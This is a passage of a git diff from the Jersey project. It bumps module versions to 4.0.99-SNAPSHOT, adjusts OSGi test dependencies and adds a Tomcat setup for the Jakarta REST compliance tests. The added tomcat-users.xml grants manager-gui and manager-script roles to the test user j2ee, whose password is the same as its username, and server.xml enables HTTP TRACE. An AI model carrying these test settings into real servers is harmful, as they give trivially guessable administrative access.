+                                <signature.sigTestClasspath>${tomcat.modules}/jakarta.ws.rs-api.jar${path.separator}${tomcat.modules}/jakarta.xml.bind-api.jar${path.separator}${project.build.directory}/jdk11-bundle/java.base${path.separator}${project.build.directory}/jdk11-bundle/java.rmi${path.separator}${project.build.directory}/jdk11-bundle/java.sql${path.separator}${project.build.directory}/jdk11-bundle/java.naming</signature.sigTestClasspath>
+                            </systemPropertyVariables>
+                            <environmentVariables>
+                                <CATALINA_HOME>${project.basedir}/target/apache-tomcat-${tomcat.container.version}</CATALINA_HOME>
+                            </environmentVariables>
+                        </configuration>
+                    </execution>
+                    <execution>
+                        <id>se-tests</id>
+                        <goals>
+                            <goal>integration-test</goal>
+                            <goal>verify</goal>
+                        </goals>
+                        <configuration>
+                            <skipTests>false</skipTests> <!-- Do not skip when the jersey-tck profile is on -->
+                            <includes>
+                                <include>**/SeBootstrapIT.java</include>
+                            </includes>
+                            <dependenciesToScan>jakarta.ws.rs:${tck.artifactId}</dependenciesToScan>
+                        </configuration>
+                    </execution>
+                </executions>
+            </plugin>
+        </plugins>
+    </build>
+    <profiles>
+        <profile>
+            <id>jersey-tck</id>
+            <properties>
+                <jersey.version>4.0.99-SNAPSHOT</jersey.version> <!-- When running the profile, use SNAPSHOT -->
+            </properties>
+        </profile>
+    </profiles>
+</project>
diff --git a/tests/jersey-tck/pom.xml b/tests/jersey-tck/pom.xml
index 0cd9ffd..b6254cc 100644
--- a/tests/jersey-tck/pom.xml
+++ b/tests/jersey-tck/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8" ?>
 <!--
 
-    Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 
     <groupId>org.glassfish.jersey.core</groupId>
     <artifactId>jersey-tck</artifactId>
-    <version>3.1.0</version>
+    <version>4.0.0</version>
     <packaging>jar</packaging>
 
     <name>Jakarta RESTful WS Compliance for Jersey</name>
@@ -538,7 +538,7 @@
         <profile>
             <id>jersey-tck</id>
             <properties>
-                <jersey.version>3.1.99-SNAPSHOT</jersey.version> <!-- When running the profile, use SNAPSHOT -->
+                <jersey.version>4.0.99-SNAPSHOT</jersey.version> <!-- When running the profile, use SNAPSHOT -->
             </properties>
         </profile>
     </profiles>
diff --git a/tests/jersey-tck/server.xml b/tests/jersey-tck/server.xml
new file mode 100644
index 0000000..1192525
--- /dev/null
+++ b/tests/jersey-tck/server.xml
@@ -0,0 +1,153 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  Licensed to the Apache Software Foundation (ASF) under one or more
+  contributor license agreements.  See the NOTICE file distributed with
+  this work for additional information regarding copyright ownership.
+  The ASF licenses this file to You under the Apache License, Version 2.0
+  (the "License"); you may not use this file except in compliance with
+  the License.  You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+<!-- Note:  A "Server" is not itself a "Container", so you may not
+     define subcomponents such as "Valves" at this level.
+     Documentation at /docs/config/server.html
+ -->
+<Server port="8005" shutdown="SHUTDOWN">
+  <Listener className="org.apache.catalina.startup.VersionLoggerListener" />
+  <!-- Security listener. Documentation at /docs/config/listeners.html
+  <Listener className="org.apache.catalina.security.SecurityListener" />
+  -->
+  <!-- APR library loader. Documentation at /docs/apr.html -->
+  <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />
+  <!-- Prevent memory leaks due to use of particular java/javax APIs-->
+  <Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener" />
+  <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />
+  <Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener" />
+
+  <!-- Global JNDI resources
+       Documentation at /docs/jndi-resources-howto.html
+  -->
+  <GlobalNamingResources>
+    <!-- Editable user database that can also be used by
+         UserDatabaseRealm to authenticate users
+    -->
+    <Resource name="UserDatabase" auth="Container"
+              type="org.apache.catalina.UserDatabase"
+              description="User database that can be updated and saved"
+              factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
+              pathname="conf/tomcat-users.xml" />
+  </GlobalNamingResources>
+
+  <!-- A "Service" is a collection of one or more "Connectors" that share
+       a single "Container" Note:  A "Service" is not itself a "Container",
+       so you may not define subcomponents such as "Valves" at this level.
+       Documentation at /docs/config/service.html
+   -->
+  <Service name="Catalina">
+
+    <!--The connectors can use a shared executor, you can define one or more named thread pools-->
+    <!--
+    <Executor name="tomcatThreadPool" namePrefix="catalina-exec-"
+        maxThreads="150" minSpareThreads="4"/>
+    -->
+
+
+    <!-- A "Connector" represents an endpoint by which requests are received
+         and responses are returned. Documentation at :
+         HTTP Connector: /docs/config/http.html
+         AJP  Connector: /docs/config/ajp.html
+         Define a non-SSL/TLS HTTP/1.1 Connector on port 8080
+    -->
+    <Connector port="8080" protocol="HTTP/1.1"
+               connectionTimeout="20000"
+               redirectPort="8443" 
+               allowTrace="true"/>
+    <!-- A "Connector" using the shared thread pool-->
+    <!--
+    <Connector executor="tomcatThreadPool"
+               port="8080" protocol="HTTP/1.1"
+               connectionTimeout="20000"
+               redirectPort="8443" />
+    -->
+    <!-- Define an SSL/TLS HTTP/1.1 Connector on port 8443 with HTTP/2
+         This connector uses the NIO implementation. The default
+         SSLImplementation will depend on the presence of the APR/native
+         library and the useOpenSSL attribute of the AprLifecycleListener.
+         Either JSSE or OpenSSL style configuration may be used regardless of
+         the SSLImplementation selected. JSSE style configuration is used below.
+    -->
+    <!--
+    <Connector port="8443" protocol="org.apache.coyote.http11.Http11NioProtocol"
+               maxThreads="150" SSLEnabled="true">
+        <UpgradeProtocol className="org.apache.coyote.http2.Http2Protocol" />
+        <SSLHostConfig>
+            <Certificate certificateKeystoreFile="conf/localhost-rsa.jks"
+                         type="RSA" />
+        </SSLHostConfig>
+    </Connector>
+    -->
+
+    <!-- Define an AJP 1.3 Connector on port 8009 -->
+    <!--
+    <Connector protocol="AJP/1.3"
+               address="::1"
+               port="8009"
+               redirectPort="8443" />
+    -->
+
+    <!-- An Engine represents the entry point (within Catalina) that processes
+         every request.  The Engine implementation for Tomcat stand alone
+         analyzes the HTTP headers included with the request, and passes them
+         on to the appropriate Host (virtual host).
+         Documentation at /docs/config/engine.html -->
+
+    <!-- You should set jvmRoute to support load-balancing via AJP ie :
+    <Engine name="Catalina" defaultHost="localhost" jvmRoute="jvm1">
+    -->
+    <Engine name="Catalina" defaultHost="localhost">
+
+      <!--For clustering, please take a look at documentation at:
+          /docs/cluster-howto.html  (simple how to)
+          /docs/config/cluster.html (reference documentation) -->
+      <!--
+      <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"/>
+      -->
+
+      <!-- Use the LockOutRealm to prevent attempts to guess user passwords
+           via a brute-force attack -->
+      <Realm className="org.apache.catalina.realm.LockOutRealm">
+        <!-- This Realm uses the UserDatabase configured in the global JNDI
+             resources under the key "UserDatabase".  Any edits
+             that are performed against this UserDatabase are immediately
+             available for use by the Realm.  -->
+        <Realm className="org.apache.catalina.realm.UserDatabaseRealm"
+               resourceName="UserDatabase"/>
+      </Realm>
+
+      <Host name="localhost"  appBase="webapps"
+            unpackWARs="true" autoDeploy="true">
+
+        <!-- SingleSignOn valve, share authentication between web applications
+             Documentation at: /docs/config/valve.html -->
+        <!--
+        <Valve className="org.apache.catalina.authenticator.SingleSignOn" />
+        -->
+
+        <!-- Access log processes all example.
+             Documentation at: /docs/config/valve.html
+             Note: The pattern used is equivalent to using pattern="common" -->
+        <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
+               prefix="localhost_access_log" suffix=".txt"
+               pattern="%h %l %u %t &quot;%r&quot; %s %b" />
+
+      </Host>
+    </Engine>
+  </Service>
+</Server>
diff --git a/tests/jersey-tck/tomcat-users.xml b/tests/jersey-tck/tomcat-users.xml
new file mode 100644
index 0000000..9f55278
--- /dev/null
+++ b/tests/jersey-tck/tomcat-users.xml
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  Licensed to the Apache Software Foundation (ASF) under one or more
+  contributor license agreements.  See the NOTICE file distributed with
+  this work for additional information regarding copyright ownership.
+  The ASF licenses this file to You under the Apache License, Version 2.0
+  (the "License"); you may not use this file except in compliance with
+  the License.  You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+<tomcat-users xmlns="http://tomcat.apache.org/xml"
+              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
+              version="1.0">
+<!--
+  By default, no user is included in the "manager-gui" role required
+  to operate the "/manager/html" web application.  If you wish to use this app,
+  you must define such a user - the username and password are arbitrary.
+
+  Built-in Tomcat manager roles:
+    - manager-gui    - allows access to the HTML GUI and the status pages
+    - manager-script - allows access to the HTTP API and the status pages
+    - manager-jmx    - allows access to the JMX proxy and the status pages
+    - manager-status - allows access to the status pages only
+
+  The users below are wrapped in a comment and are therefore ignored. If you
+  wish to configure one or more of these users for use with the manager web
+  application, do not forget to remove the <!.. ..> that surrounds them. You
+  will also need to set the passwords to something appropriate.
+-->
+<!--
+  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
+  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
+-->
+<!--
+  The sample user and role entries below are intended for use with the
+  examples web application. They are wrapped in a comment and thus are ignored
+  when reading this file. If you wish to configure these users for use with the
+  examples web application, do not forget to remove the <!.. ..> that surrounds
+  them. You will also need to set the passwords to something appropriate.
+-->
+<!--
+  <role rolename="tomcat"/>
+  <role rolename="role1"/>
+  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
+  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
+  <user username="role1" password="<must-be-changed>" roles="role1"/>
+-->
+  <role rolename="DIRECTOR"/>
+  <role rolename="OTHERROLE"/>
+  <user username="javajoe" password="javajoe" roles="OTHERROLE"/>
+  <user username="j2ee" password="j2ee" roles="manager-gui,manager-script,DIRECTOR"/>
+</tomcat-users>
diff --git a/tests/jmockit/pom.xml b/tests/jmockit/pom.xml
index 9746d51..229dbea 100644
--- a/tests/jmockit/pom.xml
+++ b/tests/jmockit/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java
index 974404c..6a0290f 100644
--- a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java
+++ b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Markus KARG. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -26,6 +26,7 @@
 import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.core.Application;
 
+import jakarta.ws.rs.core.Configuration;
 import org.glassfish.jersey.internal.ServiceFinder;
 import org.glassfish.jersey.internal.ServiceFinder.ServiceIteratorProvider;
 import org.glassfish.jersey.internal.guava.Iterators;
@@ -78,10 +79,16 @@
                             }
                         }
                                 : service == InjectionManagerFactory.class ? new InjectionManagerFactory() {
+
                             @Override
                             public final InjectionManager create(final Object parent) {
                                 return mockInjectionManager;
                             }
+
+                            @Override
+                            public InjectionManager create(Object parent, Configuration configuration) {
+                                return mockInjectionManager;
+                            }
                         }
                                 : null));
             }
diff --git a/tests/mem-leaks/pom.xml b/tests/mem-leaks/pom.xml
index 0c14719..96cddbd 100644
--- a/tests/mem-leaks/pom.xml
+++ b/tests/mem-leaks/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.memleaks</groupId>
diff --git a/tests/mem-leaks/redeployment/pom.xml b/tests/mem-leaks/redeployment/pom.xml
index f91d2a8..c3dc686 100644
--- a/tests/mem-leaks/redeployment/pom.xml
+++ b/tests/mem-leaks/redeployment/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
diff --git a/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml b/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml
index bab5528..bb58c9f 100644
--- a/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>redeployment-hello-world-app-ref</artifactId>
@@ -132,7 +132,7 @@
             <groupId>org.glassfish.jersey.examples</groupId>
             <artifactId>helloworld-webapp</artifactId>
             <type>war</type>
-            <version>3.1.99-SNAPSHOT</version>
+            <version>4.0.99-SNAPSHOT</version>
         </dependency>
     </dependencies>
 
diff --git a/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml
index ceaa0a1..15e9fdc 100644
--- a/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>redeployment-leaking-test-app</artifactId>
diff --git a/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml
index 262ceda..8a76d68 100644
--- a/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>redeployment-no-jersey-app</artifactId>
diff --git a/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml
index 29ce832..ce582e5 100644
--- a/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>redeployment-threadlocals-app</artifactId>
diff --git a/tests/mem-leaks/test-cases/bean-param-leak/pom.xml b/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
index 7d5d196..b0a08c6 100644
--- a/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
+++ b/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>bean-param-leak</artifactId>
diff --git a/tests/mem-leaks/test-cases/leaking-test-app/pom.xml b/tests/mem-leaks/test-cases/leaking-test-app/pom.xml
index 0b735ae..473d352 100644
--- a/tests/mem-leaks/test-cases/leaking-test-app/pom.xml
+++ b/tests/mem-leaks/test-cases/leaking-test-app/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>leaking-test-app</artifactId>
diff --git a/tests/mem-leaks/test-cases/pom.xml b/tests/mem-leaks/test-cases/pom.xml
index c5c2f13..08fc74a 100644
--- a/tests/mem-leaks/test-cases/pom.xml
+++ b/tests/mem-leaks/test-cases/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
diff --git a/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml b/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml
index d861113..ed9ea5d 100644
--- a/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml
+++ b/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>shutdown-hook-leak-client</artifactId>
diff --git a/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml b/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
index a8513b1..fd42ffe 100644
--- a/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
+++ b/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>shutdown-hook-leak</artifactId>
diff --git a/tests/osgi/functional/pom.xml b/tests/osgi/functional/pom.xml
index 34e7f05..824d6f2 100644
--- a/tests/osgi/functional/pom.xml
+++ b/tests/osgi/functional/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.osgi</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-tests-osgi-functional</artifactId>
@@ -70,6 +70,10 @@
                     <forkCount>1</forkCount>
                     <reuseForks>false</reuseForks>
                     <enableAssertions>false</enableAssertions>
+                    <excludes>
+                        <exclude>**/JsonProcessingTest*</exclude>
+                        <exclude>**/JaxRsRiBundleTest*</exclude>
+                    </excludes>
                 </configuration>
                 <executions>
                     <execution>
@@ -157,6 +161,7 @@
                     <artifactId>slf4j-api</artifactId>
                 </exclusion>
             </exclusions>
+            <version>${pax.exam.legacy.version}</version>
         </dependency>
         <dependency>
             <groupId>org.ops4j.pax.exam</groupId>
@@ -176,11 +181,11 @@
         <dependency>
             <groupId>org.ops4j.pax.url</groupId>
             <artifactId>pax-url-aether</artifactId>
-            <version>2.6.14</version>
+            <version>${pax.url.aether.version}</version>
             <exclusions>
                 <exclusion>
                     <groupId>org.slf4j</groupId>
-                    <artifactId>jcl-over-slf4j</artifactId>
+                    <artifactId>slf4j-api</artifactId>
                 </exclusion>
             </exclusions>
             <scope>test</scope>
@@ -206,29 +211,11 @@
             <scope>test</scope>
         </dependency>
 
-        <!-- dependecies for OSGi test with Apache connector -->
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <scope>test</scope>
-        </dependency>
         <dependency>
             <groupId>org.ops4j.pax.logging</groupId>
             <artifactId>pax-logging-api</artifactId>
             <scope>test</scope>
-            <version>1.11.17</version>
-        </dependency>
-        <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpcore-osgi</artifactId>
-            <scope>test</scope>
-            <version>4.4.6</version>
-        </dependency>
-        <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient-osgi</artifactId>
-            <scope>test</scope>
-            <version>${httpclient.version}</version>
+            <version>${pax.logging.api.version}</version>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
@@ -281,21 +268,6 @@
             <scope>test</scope>
         </dependency>
         <dependency>
-            <groupId>org.glassfish.jersey.bundles</groupId>
-            <artifactId>jaxrs-ri</artifactId>
-            <scope>test</scope>
-        </dependency>
-<!--        <dependency>-->
-<!--            <groupId>org.mortbay.jetty</groupId>-->
-<!--            <artifactId>jetty</artifactId>-->
-<!--            <scope>test</scope>-->
-<!--        </dependency>-->
-<!--        <dependency>-->
-<!--            <groupId>org.mortbay.jetty</groupId>-->
-<!--            <artifactId>jetty-util</artifactId>-->
-<!--            <scope>test</scope>-->
-<!--        </dependency>-->
-        <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
             <version>${servlet6.version}</version>
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/ApacheOsgiIntegrationTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/ApacheOsgiIntegrationTest.java
deleted file mode 100644
index 2914dbb..0000000
--- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/ApacheOsgiIntegrationTest.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.osgi.test.basic;
-
-import java.net.URI;
-import java.util.List;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.grizzly.http.server.HttpServer;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.grizzly2.httpserver.GrizzlyHttpServerFactory;
-import org.glassfish.jersey.osgi.test.util.Helper;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.ops4j.pax.exam.Configuration;
-import org.ops4j.pax.exam.Option;
-import org.ops4j.pax.exam.junit.PaxExam;
-
-import static org.junit.Assert.assertEquals;
-import static org.ops4j.pax.exam.CoreOptions.mavenBundle;
-import static org.ops4j.pax.exam.CoreOptions.systemProperty;
-
-/**
- * @author Adam Lindenthal
- */
-@RunWith(PaxExam.class)
-public class ApacheOsgiIntegrationTest {
-
-    private static final URI baseUri = UriBuilder.fromUri("http://localhost").port(Helper.getPort()).path("/jersey").build();
-    private static final String JAXRS_RUNTIME_DELEGATE_PROPERTY = "jakarta.ws.rs.ext.RuntimeDelegate";
-
-    @Configuration
-    public static Option[] configuration() {
-        final List<Option> options = Helper.getCommonOsgiOptions();
-        options.addAll(Helper.expandedList(
-                mavenBundle().groupId("org.ops4j.pax.logging").artifactId("pax-logging-api").versionAsInProject(),
-                mavenBundle().groupId("org.osgi").artifactId("org.osgi.service.cm").versionAsInProject(),
-                mavenBundle().groupId("org.apache.httpcomponents").artifactId("httpcore-osgi").versionAsInProject(),
-                mavenBundle().groupId("org.apache.httpcomponents").artifactId("httpclient-osgi").versionAsInProject(),
-                mavenBundle().groupId("org.glassfish.jersey.connectors").artifactId("jersey-apache-connector")
-                        .versionAsInProject(),
-                systemProperty(JAXRS_RUNTIME_DELEGATE_PROPERTY).value("org.glassfish.jersey.internal.RuntimeDelegateImpl")
-                ));
-        return Helper.asArray(options);
-    }
-
-    @Path("/apacheOsgiTest")
-    public static class ApacheOsgiTestResource {
-
-        @GET
-        public String getMe() {
-            return "OK";
-        }
-    }
-
-    @Test
-    public void testSimpleResource() throws Exception {
-        final ResourceConfig resourceConfig = new ResourceConfig(ApacheOsgiTestResource.class);
-        final HttpServer server = GrizzlyHttpServerFactory.createHttpServer(baseUri, resourceConfig);
-
-        final ClientConfig clientConfig = new ClientConfig();
-        clientConfig.connectorProvider(new ApacheConnectorProvider());
-        final Client c = ClientBuilder.newClient(clientConfig);
-
-        final Response response = c.target(baseUri).path("/apacheOsgiTest").request().buildGet().invoke();
-
-        final String result = response.readEntity(String.class);
-        assertEquals("OK", result);
-        server.shutdownNow();
-    }
-}
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java
index 4be49dd..23d1884 100644
--- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java
+++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -144,6 +144,7 @@
                 // jakarta.annotation has to go first!
                 mavenBundle().groupId("jakarta.annotation").artifactId("jakarta.annotation-api").versionAsInProject(),
                 mavenBundle().groupId("jakarta.activation").artifactId("jakarta.activation-api").versionAsInProject(),
+                mavenBundle().groupId("jakarta.el").artifactId("jakarta.el-api").versionAsInProject(),
                 mavenBundle().groupId("jakarta.inject").artifactId("jakarta.inject-api").versionAsInProject(),
                 mavenBundle().groupId("jakarta.xml.bind").artifactId("jakarta.xml.bind-api").versionAsInProject(),
                 junitBundles(),
diff --git a/tests/osgi/pom.xml b/tests/osgi/pom.xml
index 13350e6..6bb7468 100644
--- a/tests/osgi/pom.xml
+++ b/tests/osgi/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.osgi</groupId>
diff --git a/tests/performance/benchmarks/pom.xml b/tests/performance/benchmarks/pom.xml
index 7a9160c..90856d9 100644
--- a/tests/performance/benchmarks/pom.xml
+++ b/tests/performance/benchmarks/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>performance-test-benchmarks</artifactId>
diff --git a/tests/performance/pom.xml b/tests/performance/pom.xml
index 8819dc0..2652cf0 100644
--- a/tests/performance/pom.xml
+++ b/tests/performance/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.performance</groupId>
diff --git a/tests/performance/runners/jersey-grizzly-runner/pom.xml b/tests/performance/runners/jersey-grizzly-runner/pom.xml
index e5f3ecc..4584d61 100644
--- a/tests/performance/runners/jersey-grizzly-runner/pom.xml
+++ b/tests/performance/runners/jersey-grizzly-runner/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.runners</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
 
diff --git a/tests/performance/runners/pom.xml b/tests/performance/runners/pom.xml
index e04d70b..fe0ecbb 100644
--- a/tests/performance/runners/pom.xml
+++ b/tests/performance/runners/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance</groupId>
